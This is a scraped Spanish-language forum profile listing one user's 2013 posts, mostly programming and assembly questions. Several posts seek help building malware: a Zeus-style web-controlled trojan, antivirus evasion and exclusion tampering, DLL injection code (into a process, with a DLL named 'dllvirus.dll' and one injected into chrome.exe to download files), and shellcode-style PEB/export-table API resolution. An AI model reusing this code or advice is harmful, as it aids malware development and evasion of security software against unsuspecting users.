Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Vaagish

#46
Buenas amigos!! Hoy les voy a mostrar mi nuevo proyecto (y pedir algunos consejos). Bueno, les cuento,, la idea es hacer un "troyano" estilo zeus.. el servidor es WEB y el cliente esta echo en C++.. he aqui unas imagenes:



Como se puede ver en la imagen, la ventana de conexiones es "draggable"..



La lista de conexiones se actualiza SIN refrescar la pagina...



Podemos cambiar el Theme a eleccion!



Y aca una prueba que es en C++ :D



Voy a aclarar que las "ordenes" se van a dar desde la consola javascript (porque a muchos les gusta "la vieja escuela" ) :P

ahora,, lo importante.. el asunto es este.. el cliente que se conecta (el programa C++) en realidad lo que hace es enviar un request al servidor, le envia la ip, el nombre de la maquina, el SO y el pais (configuración del teclado),, esa informacion la junto con PHP y la inserto en la base de datos.. el problema es que en realidad no tengo una "conexion",, entonces la duda viene por este lado.. como le podria enviar informacion al cliente??? desde mi panel de control digamos (que es la consola javascript de google chrome).

Listo no la hago mas larga para no aburrir,, pero hay cuerda para rato con esto.. hay que hacerle un monton de cosas...

Saludos!!!
#47
Buenas!! Traigo una consulta rápida.. se puede enviar (strings e integers) desde la consola de google chrome a un script javascript y responder a la consola (por ejemplo con console.log) o procesar esa información y hacer alguna otra cosa??

Saludos!
#48
Buenas amigos! Alguien me puede aclarar como puedo conectar una app de consola con un servidor remoto para hacerle consultas a la base de datos SQL??

Se agradece!!

Saludos!
#49
ASM / Problema con Interrupcion BIOS y mas!!
18 Diciembre 2013, 23:54 PM
Buenas amigos!

Tengo un par de consultas,, como ensamblo un programa sin dependencias en masm32?
Estoy trabajando en modo real, haciendo .COM's, pero cuando los desensamblo con Olly, me dice que carga librerías de windows, ej: kernel32

y otra mas,, que va con código (yo se que a ustedes les gusta leer código):

Código (asm) [Seleccionar]

mov ah,#0x03 ! read cursor pos
xor bh,bh
int 0x10

mov cx,#9
mov bx,#0x0007 ! page 0, attribute 7 (normal)
mov bp,#msg1
mov ax,#0x1301 ! write string, move cursor
int 0x10


No es para nada complicado,, pero no puedo encontrar que función, de la interrupción 10 es la de la segunda parte..
#50
ASM / Duda con bootsect.s - Linux
12 Diciembre 2013, 18:24 PM
En el archivo bootsect.s (archivo fuente de Linux) dice esto como comentario:

Citar! bootsect.s is loaded at 0x7c00 by the bios-startup routines, and moves
! itself out of the way to address 0x90000, and jumps there.

o sea, que este es el primer archivo que ejecuta la bios cuando se inicia la pc, no?
Como sabe la bios cual es el primero de todos en ser cargado?
Y por que son archivos ".s"? Son igual de validos si le pongo ".asm"?

Saludos!
#51
ASM / Duda sobre maquina virtual
10 Diciembre 2013, 00:30 AM
Buenas! Bueno, mas de uno pensara que estoy loco hablando de maquina virtual acá,, (espero que no)  :P

Estoy repasando ASM, y ahora me surgió una duda existencial, como es que se implementan las maquinas virtuales en Windows? Según tengo entendido, un programa ASM no es portable debido a la restricción de las arquitecturas de los procesadores,,  pero un programa C++ (por ejemplo) si, porque trabaja sobre una "maquina virtual",, es esto así? En que momento se implementa esa maquina virtual?

Saludos!! Gracias!

EDITO: Aca encontre esto mismo:
Citarhttp://foro.elhacker.net/asm/duda_concepto_de_maquina_virtual-t359791.0.html

Pero sigo sin entender,, EI dice esto:
CitarA menos que sea un compilador cruzado siempre compilas a la plataforma en ejecucion, no hay mucha historia ahi ...

Entonces estamos en la misma situación de ASM, C++ tiene que ser tan portable como ASM  :silbar:
#52
Foro Libre / Ayer cumplí años!
4 Diciembre 2013, 06:00 AM
Si, si.. ya se.. es "muy mujer" este hilo que abrí..  :xD

Ayer fue mi cumpleaños en el foro! Cumplí un año! Y nadie me saludo  :-(

No estaría bueno crear una especie de notificación en el foro sobre los cumpleaños? O es muy cholulo tipo facebook? Que opinan? :silbar:

Saludos!!

#53
Electrónica / Consulta sobre procesadores
1 Diciembre 2013, 04:15 AM
Hola amigos, no suelo andar mucho por estos lugares del foro, pero hoy tengo una duda que quizás ustedes me puedan aclarar,, y ahí va:

Por que los procesadores tienen tantas patas, y como la placa interactùa con las mismas?

Quiero aclarar que tengo la teoría de como funciona un procesador en general, y algo de practica en ensamblador.. se lo que son las interrupciones y como trabaja "en equipo" con la memoria ram (el procesador)

Lo que quisiera saber, es por que tantas conexiones, si siempre se están usando todas las patas o algo, cualquier info..

Gracias!!
#54
Bueno, acá molestando otra vez..

Ustedes creen que sea posible agregar un programa a la lista de exclusiones del AV con código? Digo yo, en algún lugar se debe guardar esa lista, probablemente cifrada, pero si suponemos ejecutar un código que burle la 1º seguridad del AV, y agregue ciertos programas a la lista,, esos podrían hacer mayores cosas,, no?

Saludos!
#55
Programación C/C++ / Suceso Curioso
29 Noviembre 2013, 17:53 PM

FreeConsole();
ShowWindow(GetForegroundWindow(), SW_HIDE);


Al usar estas dos sentencias juntas oculta la consola, la carpeta y todo lo que este a su paso  :xD
#56
Hola amigos!

Bueno, la consulta es la siguiente, estoy haciendo un inyector dll, e intento que sea lo mas "sutil" posible, pero ese no es el problema, el problema es que por lo que puedo ver en el Visual Studio, se esta cargando una dll del antivirus Avast, la dll es snxhk.dll, y como yo no la estoy cargando, creo que es evidente que se esta inyectando en mi inyector! Los malditos de Avast inyectan una dll en todos los ejecutables??

Me están haciendo lo mismo que yo quiero hacer en otros programas!  :xD
Lo que se me ocurre, es impedir la inyección.. es esto posible? O alguna otra solución?

Saludos!
#57
Foro Libre / Duda con respecto al BitCoin
28 Noviembre 2013, 00:39 AM
Bueno, la verdad hace unos días pregunte por el bitcoin aquí en el foro, pero la verdad, me resulto medio entreverado el asunto, y no la entendí del todo... esta mas que una consulta, pretende ser también (si se da), así, como para debatir el asunto Bitcoin... Por lo que leí, es necesario un programa tipo P2P para poder utilizar la moneda virtual, lo que seria como mi billetera, no?

Ahora digo.. con la inseguridad de hoy día con respecto a los pc's, no es peligroso andar poniendo o abriendo cuentas en la pc? Se supone que mi dinero va a estar protegido por una contraseña y un usuario (supongo) Entonces, robar bitcoins es una pasada.. O me estoy haciendo la cabeza?? 

Saludos!!
#58
Buenas! Como dice el titulo, quisiera hacer una app que me de información de la topologia de una red, pero no se me ocurre nada concreto por donde empezar,, después podría representar esa información con la winapi,, ponerle imágenes y esas boludeces jejeje lo primero que se me ocurre, seria hacer un ping en un rango de ip, si hay respuesta, esta conectada,, pero eso en realidad no me dice nada,, no puedo saber como esta armada la red.. no? En fin, una cosa así como networkview
Que les parece, por donde empezar?

Saludos!!

EDITO: Viendo bien ahora el networkview, no es muy complejo, he visto mejores, pero sirve como primera meta  ;D
#59
Hola amigos! Bueno, no quiero quedar pesado, ni aparentar que no he leído nada sobre el tema, pero por mas que busque diferentes fuentes ninguna me despoja de la duda sobre algunos asuntos de los drivers, creo, en parte por no manejar el ingles fluidamente. Si alguien me da una mano sobre algunos conceptos, se lo agradecería mucho. Voy a poner una serie de nombres, algunas con lo que yo entiendo y otras para que si alguien quiere/puede me las "traduzca" al "entendible"  :xD

CitarIRP: The IRP structure is a partial opaque structure that represents an I/O request packet.
IRP es una estructura que se utiliza para la comunicacion de los drivers
CitarIO_STACK_LOCATION: The IO_STACK_LOCATION structure defines an I/O stack location, which is an entry in the I/O stack that is associated with each IRP.
Alguien me puede aclarar esto??
CitarIRP Major Function: Each driver-specific I/O stack location (IO_STACK_LOCATION) for every IRP contains a major function code (IRP_MJ_XXX)
IRP Major Function es un vector de punteros de funciones que necesita nuestro driver, entiendo que eso es asi, pero no porque.
CitarIoCreateDevice: WDM drivers, other than bus drivers, call IoCreateDevice to create their device objects. Most WDM drivers create their device objects from within their AddDevice routines. Some drivers, such as disk drivers that must respond to drive layout IOCTLs, call IoCreateDevice from a dispatch routine.
Por lo que entiendo aca,, los drivers en windows llaman a IoCreateDevice para crear sus device objects, pero entonces, un driver en windows siempre es considerado como un dispositivo, o "representante" de uno? Aunque sea un driver que no interactue con un dispositivo siempre sera considerado un dispositivo? ( Esta parte me interesa, porque tengo un error de concepto me parece )

Bueno, tengo mas dudas, pero creo que se pueden ir aclarando si puedo despejar un poco estas primero..
Muchas gracias de antemano! Saludos!
#60
Desarrollo Web / Invalidar doble votación
29 Octubre 2013, 00:44 AM
Hola amigos! Alguien tiene una idea de como puedo invalidar una ip (o algún otro método) para que no pueda votar 2 veces?
Por ejemplo, si armo una pagina al estilo "mercadolibre", los usuarios no puedan votar negativamente o positivamente la transacción dos veces.. Ideas?

Gracias!!

Edit: Ahora se me ocurre invalidar el correo, creo que para algo así, tipo mercadolibre debería funcionar bien eso..
#61
Hola amigos! Hoy encontré este video paseando por youtube y me pareció bueno compartirlo, explica de una forma muy sencilla como funciona el CPU, sus registros y las flags,, casi como para tontos.. pero la verdad que para el que recién empieza con ASM esta muy bueno! Saludos!!

http://www.youtube.com/watch?v=cNN_tTXABUA




Y después se pueden mirar este otro.. una locura.. Sabias que tu procesador es esencialmente arena?  :o :o

http://www.youtube.com/watch?v=qLGAoGhoOhU&list=TL58kvKKJDXcWhAD5D7tptrTfsy-LCX34U
#62
Bueno,, nada.. me aburría y quería aportar mi opinión.. Muy lindo el foro, sigan así amigos  ;-)

Código (cpp) [Seleccionar]

#include <windows.h>
#include <iostream>
using namespace std;

void main(){
cout << "Hola mundo" << endl;
cin.get();
}


Aparte queria usar alguna etiqueta de codigo.. Muuuuuuuuy bueno!! Gracias!!!
#63
ASM / Escribir en MBR
19 Octubre 2013, 23:12 PM
Buenas, la consulta es la siguiente: Que tan complicado puede ser escribir en el MBR del disco? Se puede solo con ensamblador o tiene que ser en Ring0?

Saludos!
#64
Seguridad / VBA32 Me tiene acalambrado!
17 Octubre 2013, 03:41 AM
Bueno, la hago rapida.. Me puedo pasar los sandbox, y las heuristicas, y no puedo pasarme este maldito AV? Si no fuera por este unico AV tendria mas de 5 aplicaciones fud.. sera que este av salta por cualquier cosa? Digmos, "falso positivo" (aunque en este caso no seria falso) pero ta, puede que salte por saltar?? Recuerdo un antivirus que detectaba las aplicaciones de vb6 que tenian de nombre de formulario "Form1", un poco exagerado el antivirus..  :silbar:
#65
ASM / Sintaxis para programar drivers en RadASM?
10 Octubre 2013, 21:40 PM
Buenas! Alguien sabe si existe ayuda de sintaxis para programar drivers en RadASM? O, por lo contrario, algún IDE que sirva para tal cosa?

Saludos!
#66
Buenas! Podría algún sabio orientarme sobre como es que un driver utiliza las implementaciones de las apis? (o algo así lo he leído) la verdad no tengo mucha idea como es eso, se que un driver no llama por ejemplo a VirtualAllocEx, sino que llama a otra "cosa" que no sabría definir siquiera.. y por otro lado, podría un driver inyectar una dll, o un código en un proceso??

Gracias!
#67
Hola a todos! Bueno, como habrán podido leer en el asunto, la duda viene por este lado,, que tan legal es crackear? Ya van 3 dudas que publico en el subforo de c++ y nadie me ha querido responder.. Supongo que este sera el lugar mas adecuado..

Ahí van las dudas.. Si yo quisiese modificar un programa, digamos,, agregarle alguna funcionalidad al programa inyectándole una dll, o quitarle, o por ejemplo, programarme un wallhack para un juego, o lo que se me ocurra.. es legal esto?

1) Supongamos que yo pague por ese software, y lo modifico, pero NO lo comparto modificado ni nada.. me lo quedo para mi, es legal hacer eso, no ??

2) Suponiendo que se puede hablar de esto.. Para modificar un programa, debería empezar por saber como funciona, por ende crackearlo, no? Digo, a modo de análisis, para poder luego modificarlo...

Bueno, nada mas.. Gracias!!
#68
Buenas amigos! Alguien sabe porque no se pueden escribir ciertos caracteres con fopen? Aqui dejo el code y el error al final del mismo


#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#include <windows.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#pragma comment(lib, "ws2_32.lib")

#include <iostream>
using namespace std;

#define DEFAULT_BUFLEN 1
#define PORT 80

WSADATA WSA;
SOCKET Socket;
SOCKADDR_IN Server;
HOSTENT *Info;
FILE *MyFile;

char *IP;

int Bytes;
char Buffer[DEFAULT_BUFLEN];
int Bufflen = DEFAULT_BUFLEN;

DWORD WINAPI Descargar (void* Nada);

DWORD WINAPI Descargar (void* Nada)
{

do {

Bytes = recv(Socket, Buffer, Bufflen, 0);

if(Bytes > 0){
fputs(Buffer, MyFile);
}

}while(Bytes > 0);

fclose(MyFile);
return 0;
}

int main()
{

char *Request = "GET /img/cpp-logo.png HTTP/1.1\nhost: www.cplusplus.com\r\n\r\n";
    unsigned int j = 0;

MyFile = fopen("C:\\Imagen.txt","w");
int Res;

WSAStartup(MAKEWORD(2, 2), &WSA);
    Socket = socket(AF_INET, SOCK_STREAM, 0);
   
    Info = gethostbyname("www.cplusplus.com");

IP = inet_ntoa(*(struct in_addr*)(Info -> h_addr_list[0]));

    Server.sin_family = AF_INET;
    Server.sin_port = htons(PORT);
Server.sin_addr.s_addr = inet_addr(IP);

connect(Socket, (struct sockaddr*)&Server, sizeof(Server));
     
    send(Socket, Request, strlen(Request), 0);

HANDLE Hand = CreateThread(NULL, 0, Descargar, NULL, NORMAL_PRIORITY_CLASS, NULL);

cin.get();
closesocket(Socket);
    return (EXIT_SUCCESS);
}


Bueno, el problema es que la respuesta del servidor es:

HTTP/1.1 200 OK

Date: Tue, 01 Oct 2013 20:24:42 GMT

Server: Apache/2.2.3 (CentOS)

Last-Modified: Tue, 08 Mar 2011 09:51:17 GMT

ETag: "2b60065-2434-49df58db76f40"

Accept-Ranges: bytes

Content-Length: 9268

Connection: close

Content-Type: image/png



‰PNG



IHDRÆKkitEXtSoftwareAdobe ImageReadyqÉe<PLTEˆÍgüõÿñëÿ‹Ì...ƒ{©': ETC, ETC...(IMAGEN PNG)


Bueno, con el editor de texto borro todo lo que tiene que ver con HTTP, pero aun asi, al abrir con el editor de texto la imagen descargada con el navegador web, veo que no es igual la codificacion, al parecer no "reconoce" ciertos caracteres al guardarlos en el archivo de texto, y corrompe el archivo.. Como podria solucionar esto ?? :/

Gracias!
#69
Hola! Como andan? El codigo es simple, el problema debe ser aun menor.. pero no lo hago andar.. :/


// dllmain.cpp : Define el punto de entrada de la aplicación DLL.
#include "stdafx.h"

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
char *URL = "http://cplusplus.com/img/cpp-logo.png";
char *File = "C:\\cpp-logo.png";

switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
URLDownloadToFile(NULL, URL, File, 0, NULL);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

Bueno, muy simple.. esto se inyecta en chrome.exe o en el proceso que sea y cuelga :/
Podria ser quizas por el espacio que ocupa en el proceso??
#70
Programación C/C++ / Dudas con inyeccion de codigo
24 Septiembre 2013, 19:24 PM
Buenas! Como andan? Bueno, la pregunta seria la siguiente, una vez inyectada una dll dentro del espacio de memoria de otro proceso, que es mas conveniente? Por ejemplo, yo quiero abrir un puerto en la maquina, o utilizar un puerto abierto y conectarme a x direccion, y recibir y enviar informacion.. Conviene poner todo ese codigo dentro de la dll e inyectarla a chrome.exe por ejemplo? Es viable eso?

Gracias!
#71
Seguridad / Algo extraño con Login de Facebook :/
23 Septiembre 2013, 01:01 AM
Buenas señores y señoras! Como andan?
Bueno, el problema es el siguiente,, cuando me logeo en facebook, siempre, siempre se recarga la ventana, o mejor dicho, se limpian los campos de ingreso de correo y de password, con lo que lo que hay que escribir nuevamente los campos,, al poner nuevamente los datos, ingresa a facebook, pero con el siguiente mensaje: "Su solicitud no se ha podido procesar, intentelo mas tarde" o algo asi.. y si la segunda vez que ingresamos los datos ponemos cualquier otra cosa ingresa igual.. o sea que hay algo raro.. Bueno, si alguien sabe que puede ser, o como funciona este stealer (calculo yo) me seria de gran ayuda para erradicarlo de mi pc :) Muchas gracias!!
#72
Programación C/C++ / Problema con Inyector Dll
21 Septiembre 2013, 02:13 AM
Hola Gente!! Alguien podria probar este codigo a ver por que no funca?
Al parecer, los valores que retornan las funciones y los valores de GetLastError() estan bien, pero el programa no funciona.. Estoy teniendo el mismo problema con un programa en VB.NET que postie en Analisis y Diseño de Malware. Bueno, ahi va.. :)


#include <windows.h>
#include <iostream>
using namespace std;

int main()
{

//********* ESTRUCTURAS ***********
 
 PROCESS_INFORMATION Process_Info = {0};
 STARTUPINFO StartUpInfo = {0};

//********** VARIABLES ************

 HMODULE Modulo;
 FARPROC Funcion;
 LPCVOID Virtual;
 HANDLE ThreadId;
 int Ret;

 wchar_t App_Name[] = L"Hola.exe";
 wchar_t Dll_Name[] = L"dllvirus.dll";  

   //************ INICIO *************

StartUpInfo.cb = sizeof(StartUpInfo);

cout << endl;

Modulo = LoadLibraryA("kernel32.dll");
cout << "Kernel32 BaseAddress: " << Modulo << endl;
Funcion = GetProcAddress(Modulo, "LoadLibraryA");
cout << "LoadLibraryA BaseAddress: " << Funcion << endl;

cout << endl;

// NORMAL_PRIORITY_CLASS
// CREATE_SUSPENDED
Ret = CreateProcess(App_Name, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &StartUpInfo, &Process_Info);
cout << "CreateProcess ERROR CODE: " << GetLastError() << endl;
cout << "CreateProcess return value: " << Ret << endl;

cout << endl;

cout << "*************************" << endl;
cout << "* hProcess: " << Process_Info.hProcess << "\t*" << endl;
cout << "* hThread: " << Process_Info.hThread << "\t*" << endl;
cout << "* dwThreadId: " << Process_Info.dwThreadId << "\t*" << endl;
cout << "* dwProcessId: " << Process_Info.dwProcessId << "\t*" << endl;
cout << "*************************" << endl;

cout << endl;
int DllLen = 12;
cout << "dllvirus.dll" << " LEN: " << DllLen << endl;

cout << endl;

Virtual = VirtualAllocEx(Process_Info.hProcess, NULL, DllLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
cout << "VirtualAllocEx ERROR CODE: " << GetLastError() << endl;
cout << "VirtualAllocEx: " << Virtual << endl;

cout << endl;

Ret = WriteProcessMemory(Process_Info.hProcess, &Virtual, &DllLen, DllLen, NULL);
cout << "WriteProcessMemory ERROR CODE: " << GetLastError() << endl;
cout << "WriteProcessMemory return value: " << Ret << endl;

cout << endl;

ThreadId = CreateRemoteThread(Process_Info.hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)Funcion, &Virtual, 0, NULL);
cout << "CreateRemoteThread ERROR CODE: " << GetLastError() << endl;
cout << "CreateRemoteThread Handle: " << ThreadId << endl;

cout << endl;
cout << "Waiting for CreateRemoteThread..." << endl;
cout << endl;

WaitForSingleObject(Process_Info.hProcess, 1000);

cout << endl;
cout << "Lunching App..." << endl;
cout << endl;

ResumeThread(Process_Info.hProcess);

cout << endl;
cout << "Closing Handle..." << endl;
cout << endl;

CloseHandle(Process_Info.hProcess);

cout << endl;
cout << "End :)" << endl;
cout << endl;

cin.get();

return 0;
}


Ha,, me olvidaba,, Hola.exe es un "Hola mundo" en un MessageBox echo en ASM y dllvirus.dll lo que hace es sobreescribir el texto del mensaje con otro texto, pero bueno, la idea se entiende, por que no inyecta? :/
#73
Bueno, hace 16 Hs que le meto a esto y no puedo encontrar el error,, o mejor dicho, como solucionarlo!! Ahi les va genios...



    Private Sub BtnLoad_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnLoad.Click

        Dim LoadLibHandle As Integer
        Dim GetProcHandle As Integer
        Dim StartUp As New STARTUPINFO
        Dim ProcessInfo As New PROCESS_INFORMATION
        Dim DllTam As Integer
        Dim VirtualRet As Integer

        Dim bytes() As Byte
        bytes = System.Text.Encoding.Unicode.GetBytes(DllName)

        Dim Retorno As Integer

        LoadLibHandle = LoadLibraryA("kernel32.dll")
        GetProcHandle = GetProcAddress(LoadLibHandle, "LoadLibraryA")

        Retorno = CreateProcess(txtExeF.Text, vbNullString, vbNullString, vbNullString, vbNullString, PROCESS_CREATION_FLAG.CREATE_SUSPENDED, vbNullString, vbNullString, StartUp, ProcessInfo)

        DllTam = Len(txtDllName.Text)

        VirtualRet = VirtualAllocEx(ProcessInfo.hProcess, vbNullString, DllTam, MEM_COMMIT, PROCESS_ALL_ACCESS)
        WriteProcessMemory(ProcessInfo.hProcess, VirtualRet, bytes, DllTam, vbNullString)

        Try

            CreateRemoteThread(ProcessInfo.hProcess, 0, 0, GetProcHandle, VirtualRet, 0, 0)

        Catch ex As Exception

            MsgBox(ex.ToString)

        End Try

        ResumeThread(ProcessInfo.hProcess)

    End Sub



Claro esta que esto es una porcion del codigo,, txtDllName es el textbox que tiene el nombre de la dll, txtExeF es el textbox que tiene la ruta del exe..

El error que me salta es: Intento de leer o escribir en la memoria protegida..

Ya no se que hacer con esto!! Jaja Saludos!!
#74
ASM / Ayuda! Problema con MASM Inline
27 Agosto 2013, 23:38 PM
Hola amigos! Alguien con un poco de tiempo se anima a revisar por que no funciona este code! El error salta cuando busco la direccion de "socket",, me da mal el Ordinal de la funcion, y no me devuelve la direccion... Gracias!

#include <windows.h>
#include <stdio.h>
#include <iostream>
using namespace std;

int Kernel32();
DWORD GetOffset(DWORD Modulo, char *Funcion, DWORD Tamaño);
int LoadLibrari(char *Modulo);

DWORD Krn32 = 0;
DWORD Ws2_32 = 0;
//**************************
DWORD GetProcA = 0;
DWORD LoadLibA = 0;
DWORD Sock = 0;
//**************************
DWORD Contador;
DWORD PEHeader = 0;
DWORD ET = 0;
WORD PosicionEAT = 0;

DWORD Retorno = 0;

int main()
{

Kernel32();
printf("\n\nLa direccion de Memoria de Kernel32.dll es: %8X", Krn32);
printf("\nLa direccion de Memoria de Kernel32.dll con LoadLibraryA es: %8X", LoadLibraryA("Kernel32.dll"));

cout << "\n\n*****************************************************************" << endl;

GetProcA = GetOffset( Krn32, "GetProcAddress", 14 );
printf("La direccion de Memoria de GetProcAddress es: %8X", GetProcA);
printf("\nLa direccion de Memoria de GetProcAddress con GetProcAddress es: %8X", GetProcAddress((HMODULE)Krn32,"GetProcAddress"));

cout << "\n\n*********************************************************************" << endl;

LoadLibA = GetOffset( Krn32, "LoadLibraryA", 12 );
printf("La direccion de Memoria de LoadLibraryA es: %8X", LoadLibA);
printf("\nLa direccion de Memoria de LoadLibraryA con GetProcAddress es: %8X", GetProcAddress((HMODULE)Krn32,"LoadLibraryA"));

cout << "\n\n*********************************************************************" << endl;

Ws2_32 = LoadLibrari("ws2_32.dll");
printf("\nLa direccion de Memoria de Ws2_32.dll es: %8X", Ws2_32);
printf("\nLa direccion de Memoria de Ws2_32.dll con LoadLibraryA es: %8X", LoadLibraryA("Ws2_32.dll"));

cout << "\n\n*********************************************************************" << endl;

Sock = GetOffset( Ws2_32, "socket", 6 );
printf("\nLa direccion de Memoria de socket es: %8X", Sock);
printf("\nLa direccion de Memoria de socket con GetProcAddress es: %8X", GetProcAddress((HMODULE)Ws2_32,"socket"));

cin.get();
}

int Kernel32()
{

__asm{
mov eax, fs:[0x30]
mov eax, [eax + 0x0C]
lea eax, [eax + 0x0C]
NextModule:
mov eax, [eax]
mov ebx, [eax + 0x30]
cmp byte ptr[ebx + 6*2], '3'
jne NextModule
mov ebx, [eax + 0x18]
mov Krn32, ebx
}

return 0;
}
DWORD GetOffset(DWORD Modulo, char *Funcion, DWORD Tamaño)
{

__asm {

mov Contador, -1

mov eax, Modulo
add eax, [eax+3Ch]
mov [PEHeader], eax
add eax, 78h
mov eax, [eax]
add eax, Modulo
mov [ET], eax
add eax, 20h
mov eax, [eax]
add eax, Modulo

bucle:

inc Contador
mov ebx, [eax]
add ebx, Modulo
mov esi, ebx
add eax, 4
mov edi, Funcion
mov ecx, Tamaño
repe cmpsb
jnz bucle

mov ecx, [ET]
mov ecx, [ecx+24h]
add ecx, [Modulo]
mov eax, [Contador]
add eax, eax
add ecx, eax
mov ax, word ptr [ecx]
mov [PosicionEAT], ax

mov eax, [ET]
mov eax, [eax+1Ch]
add eax, Modulo
mov ebx, [Contador]
rol ebx, 2
add eax, ebx
mov eax, [eax]
add eax, Modulo
mov Retorno, eax

}
cout << "\nEl Ordinal es: " << Contador << endl;
return Retorno;
}
int LoadLibrari(char *Modulo)
{
__asm{
push [Modulo]
call [LoadLibA]
mov Retorno, eax
}

return Retorno;
}
#75
ASM / PEB y funciones de kernel32
8 Agosto 2013, 02:39 AM
Hola amigos!! Alguien podria ayudarme a entender bien como funciona el tema de encontrar funciones en kernel32 y utilizarlas? Hace 3 dias que le dedico 8hs diarias y no he podido encontrar las funciones!! Es muy estresante jaja
Lei todos los post que hablan del PEB del foro y muchos otros mas! Pero a mi humilde entender, casi todos llegan hasta la parte de encontrar la direccion de kernel32,, eso lo entendi.. pero no logro una vez ahi parado (en la direccion de memoria de kernel32) seguir buscando dentro las funciones, y mucho menos ejecutarlas!!

Como recorro el modulo kernel32??? Muchas gracias!!

PD: Algo de la info que rescate, la que entendi mejor ->

http://el-blog-de-thor.blogspot.com/2011/05/obtener-la-direccion-base-de.html
Ahi estan muy bien detalladas las estructuras que vamos recorriendo

http://el-blog-de-thor.blogspot.com/2011/05/usando-getprocaddress-y-loadlibrary_07.html
Ahi esta explicado como recorrer y buscar la funcion GetProcAddress (Pero creo que utiliza otro metodo, porque recurre a la cabezera del PE y no entiendo para que) :/

http://www.projectshellcode.com/node/22
Ahi hay una shellcode pero entiendo nada

EDITADO: Bien,, desde que escribi la consulta hasta recien, conoci una herramienta que se llama dumpbin! Excelente! Pero igual preciso ayuda jaja
#76
Buenas amigos!! Hoy se me antojo programar un rato en plataforma web,, y que mejor que una especie de botnet? :D
Bueno,, como ya sabrán algunos, la mayoría del hosting gratuito no ofrece sql remoto, ni sockets en php,, entonces pensé,, bueno, de alguna forma se tiene que poder! Si Zeus puede, yo también :p

Alguien que me pueda dar una idea de como funciona la conexión entre cliente C++ y server web?

Pd: Algunos pensaran que estoy equivocado con los términos cliente y server,, pero no se porque los suelen llamar al revés :/
#77
Hacking Wireless / Duda con Wireshark
1 Agosto 2013, 20:15 PM
Hola amigos del foro! Primero que nada, perdon si no deberia estar aca la consulta, y segundo que probablemente ya este aclarada esta misma duda en algun otro hilo, pero no lo he encontrado...
Bueno, el asunto es que necesito sniffar mi red, solamente para aprender un poco de ese asunto :p El problema es que no se si se puede hacer como yo quiero,, yo me conecto a mi red por wifi desde una notebook,, la duda es.. se puede leer los paquetes que pasan por el router hacia otra pc que se conecta con cable? O sea,, algo asi es la red:

PC1 (conectada al router por cable) -->  [ROUTER] <-- PC2 (conectada al router por wifi)

Podria la PC2 ver los paquetes de la PC1? Bueno,, eso nomas.. Si no se entiende lo trato de explicar mejor!! Gracias!! Saludos

EDITADO: Bien, leyendo un poco mas,, veo que si se puede.. con ettercap.
Puede ser que este en lo correcto? De ser asi, alguna sugerencia? Algun buen tuto para los novatos..? Gracias!
#78
Buenas amigos!! Hoy tengo una tema sobre "gustos". Abrí este tema porque estoy por empezar a diseñar el cliente de un programa "Cliente\Servidor", no estoy seguro si es el lugar indicado para plantear el tema, pero como esta es la parte de análisis y diseño, supuse que la parte de diseño "gráfico" de un programa podría estar incluida en este sector del foro...
Bueno, me gustaría leer sus opiniones acerca del diseño que mas les haya gustado de los troyanos.. claro esta, siempre hablando del cliente ( Mal llamado cliente por ser conexión inversa  :P )

Empiezo yo, para dar el ejemplo... A mi personalmente me gusto mucho el diseño del Sub7 o al menos, este Sub7
También, en su momento estaba bueno algo así como el diseño del Bifrost, ese estilo ListView, sin casi ningún elemento en la ventana, todo escondido atrás del click derecho del mouse..

Bueno, los dejo con eso.. y de sus opiniones e ideas poder hacer un lindo cliente  ;D

Saludos!!!
#79
Buenas amigos, como andan ?

Últimamente estoy haciendo muchas preguntas, pero bueno, veamos el lado positivo, hay rotatividad en el foro   :silbar:

Bueno, tengo el siguiente problema :



Buscar proc FtoF:DWORD

invoke FindFirstFile, FtoF, addr SFile
cmp eax, -1
je NoEncontrado
mov Hand, eax


Buccle:
invoke wsprintf, addr Bufi, addr Envio, addr SFile.cFileName
invoke send, sock, addr Bufi, sizeof Bufi, 0
cmp eax, SOCKET_ERROR
je ErSo
invoke FindNextFile, Hand, addr SFile
cmp eax, 0
je Salida
jmp Buccle

ErSo:
invoke WSAGetLastError
invoke dwtoa, eax, addr ErrNa
invoke MessageBox, 0, addr ErrNa, addr Titulo, MB_OK

Salida:
invoke FindClose, addr Hand
jmp Fin

NoEncontrado:
invoke send, sock, addr NoE, sizeof NoE, 0

Fin:
ret
Buscar endp



El problema al parecer es que el "Buccle" se ejecuta mas rápido de lo que el cliente puede procesar, o algo asi.. porque si pongo un mensaje entre ciclo y ciclo del bucle los datos llegan, pero si dejo la rutina asi, sin pausa alguna, al parecer algo se pisa el palito,, pero tampoco sale error de send..  :-\
#80
ASM / Problema con Función..
20 Mayo 2013, 23:58 PM
Hola amigos! Alguien me puede aclarar por que pasa esto ?

Tengo una rutina asi:



mov ecx, sizeof String1
lea esi, [String1]
lea edi, [String2]
cld
repe cmpsb
je Igual
jmp NoIgual



Esto seria un strcmp, bien.. eso funciona.. ahora si yo quiero meter eso dentro de una funcion, para luego llamarla pasandole string1 y string2 no funca.. digamos asi:



invoke strcmp, addr String1, addr String2

strcmp proto str1:DWORD, str2:DWORD

mov ecx, sizeof str1
lea esi, [str1]
lea edi, [str2]
cld
repe cmpsb
je Igual
jmp NoIgual

Igual:
mov eax, 0
jmp Exit
NoIgual:
mov eax, 1
Exit:
ret
strcmp endp



Bueno, eso es todo... ¿Por que no funca?
#81
ASM / Solucionar WSAEWOULDBLOCK
16 Mayo 2013, 00:33 AM
Hola amigos! Tengo el siguiente problema que me esta torturando... ya llevo horasss...

Bueno, el codigo primero:



Conn:
invoke connect, sock, addr sa, sizeof sa

.IF eax==SOCKET_ERROR

     invoke WSAGetLastError

     .IF eax==WSAEWOULDBLOCK

          jmp Conn

     .ELSEIF eax==WSAEALREADY

  jmp Conn

     .ELSE

